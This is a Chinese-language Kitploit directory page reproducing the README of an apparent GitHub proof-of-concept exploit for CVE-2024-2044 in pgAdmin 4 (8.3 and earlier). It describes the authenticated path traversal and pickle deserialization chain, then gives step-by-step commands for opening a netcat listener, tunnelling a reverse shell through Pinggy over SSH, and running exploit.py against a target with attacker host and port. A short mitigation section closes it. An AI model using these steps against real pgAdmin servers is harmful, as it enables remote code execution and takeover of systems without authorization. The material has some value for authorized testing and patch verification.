Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-2044 — Python PoC,利用 pgAdmin 4(<=8.3)中的 CVE-2024-2044,通过认证路径遍历和不安全的 pickle 反序列化实现远程代码执行和反向 shell。 | Kitploit
工具/GitHubGitHub/hanzzly/cve-2024-2044
漏洞分析漏洞利用Web应用程序漏洞利用后渗透利用Web安全渗透测试远程访问工具Payload 开发
GitHubhanzzly/cve-2024-2044

CVE-2024-2044

Python PoC,利用 pgAdmin 4(<=8.3)中的 CVE-2024-2044,通过认证路径遍历和不安全的 pickle 反序列化实现远程代码执行和反向 shell。

查看仓库
11320天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

PoC CVE-2024-2044: pgAdmin 4 认证后 RCE (Linux/POSIX)

本仓库包含针对 CVE-2024-2044 的 Proof of Concept (PoC) 脚本,该漏洞是一个严重漏洞,结合了 认证后路径遍历 和 不安全反序列化,影响运行在 Linux/POSIX 环境下的 pgAdmin 4(8.3 及以下版本)。

[!WARNING] 免责声明: 本代码仅供教育、安全研究和授权的渗透测试(authorized pentesting)目的使用。未经书面许可,将本代码用于攻击目标是非法行为,违反法律。


漏洞描述

在 Linux 环境下以服务器模式运行的 pgAdmin 4 中,会话管理以本地文件形式存储。漏洞产生的原因是 FileBackedSessionManager.get() 函数接收来自 HTTP cookie pga4_session 的值,并使用 os.path.join 将其拼接到目录路径中,而未对路径操纵字符(../)进行清理。

本 PoC 脚本通过以下流程利用该漏洞:

  1. 认证: 使用有效凭据自动登录以获取活动会话并绕过 CSRF token。
  2. 上传 Payload: 利用内置的 Storage Manager 工具上传包含 Reverse Shell 命令的恶意 Python pickle 对象。该文件存储在用户存储目录下(例如:/storage/nama_user/)。
  3. 触发路径遍历: 通过将 pga4_session cookie 操纵为指向已上传 pickle 文件的相对路径(例如:../storage/nama_user/file.pickle!),向 /login 发送 HTTP 请求。! 符号用于匹配 pgAdmin 4 中会话文件扩展名的查找方式。
  4. 代码执行 (RCE): pgAdmin 4 服务器被欺骗读取该文件并使用 pickle.loads() 进行处理。结果,payload 执行一个独立的(detached)Python 进程,向攻击者抛出 Reverse Shell。

前提条件 (Prerequisites)

  • 目标: 运行在 Linux/POSIX 上的 pgAdmin 4 <= 8.3(服务器模式)。
  • 访问权限: 需要有效的登录账户(用户名和密码)。
  • 脚本依赖: Python 3 和 requests 库。

使用指南

选项 A:直接使用公网 IP(本地/VPN)

  1. 在您的机器上打开 netcat 端口以接收 reverse shell 连接:
    nc -lvnp 4444
    
  2. 运行利用脚本:
    python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
    

选项 B:使用端口转发(Pinggy.io)

如果您的机器位于 NAT/路由器之后并需要公共 tunnelling,您可以按照以下步骤使用 Pinggy.io 服务:

1. 运行本地 Netcat 监听器

首先在本地机器上使用您选择的端口(例如端口 1337)启动 nc:

nc -lvnp 1337

2. 运行 Pinggy 隧道

打开一个新终端,然后运行 Pinggy SSH 命令。确保末尾的本地端口(1337)与您之前启动的 nc 端口一致:

ssh -p 443 -R0:localhost:1337 [email protected]

连接后,Pinggy 将提供一个公共 TCP URL,例如: tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143 image

注意:从 Pinggy 获得的公共端口是 43143(这将作为 -lport)。

3. 查找 Pinggy 的真实 IP(获取 LHOST)

目标 pgAdmin 4 服务器需要真实 IP 地址格式才能进行 reverse shell socket 连接。对您的 Pinggy URL 域名执行 nslookup:

nslookup ubylm-103-79-246-198.run.pinggy-free.link

输出将显示 Pinggy 服务器的公共 IP(选择最上方 Address 部分的 IPv4):

Non-authoritative answer:
ubylm-103-79-246-198.run.pinggy-free.link       canonical name = lin.ap.12.a.pinggy.click.
Name:   lin.ap.12.a.pinggy.click
Address: 172.236.148.125

从上述输出中,获得 Pinggy 的真实 IP:172.236.148.125。

image

4. 运行利用脚本

运行 PoC 脚本,将 nslookup 得到的 IP 作为 -lhost,将 Pinggy 的公共端口作为 -lport:

python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143
image image

脚本选项参数

  • -t, --target : pgAdmin 4 目标 URL(必填)。
  • -u, --username: 登录邮箱/用户名(默认:[email protected])。
  • -p, --password: 登录密码(默认:player123)。
  • -lhost : 攻击者 IP 地址 / Pinggy nslookup 结果 IP(必填)。
  • -lport : 攻击者监听端口 / Pinggy 公共端口(必填)。

缓解措施

该漏洞已在 pgAdmin 4 版本 8.4 中修复。如果您管理着易受攻击的服务器,请立即采取以下措施:

  1. 将 pgAdmin 4 更新到 8.4 或更高版本。
  2. 使用 VPN 或 防火墙白名单 限制对 pgAdmin 4 面板的网络访问。
  3. 确保 pgAdmin 4 进程以普通用户权限(非 root)运行。
下载工具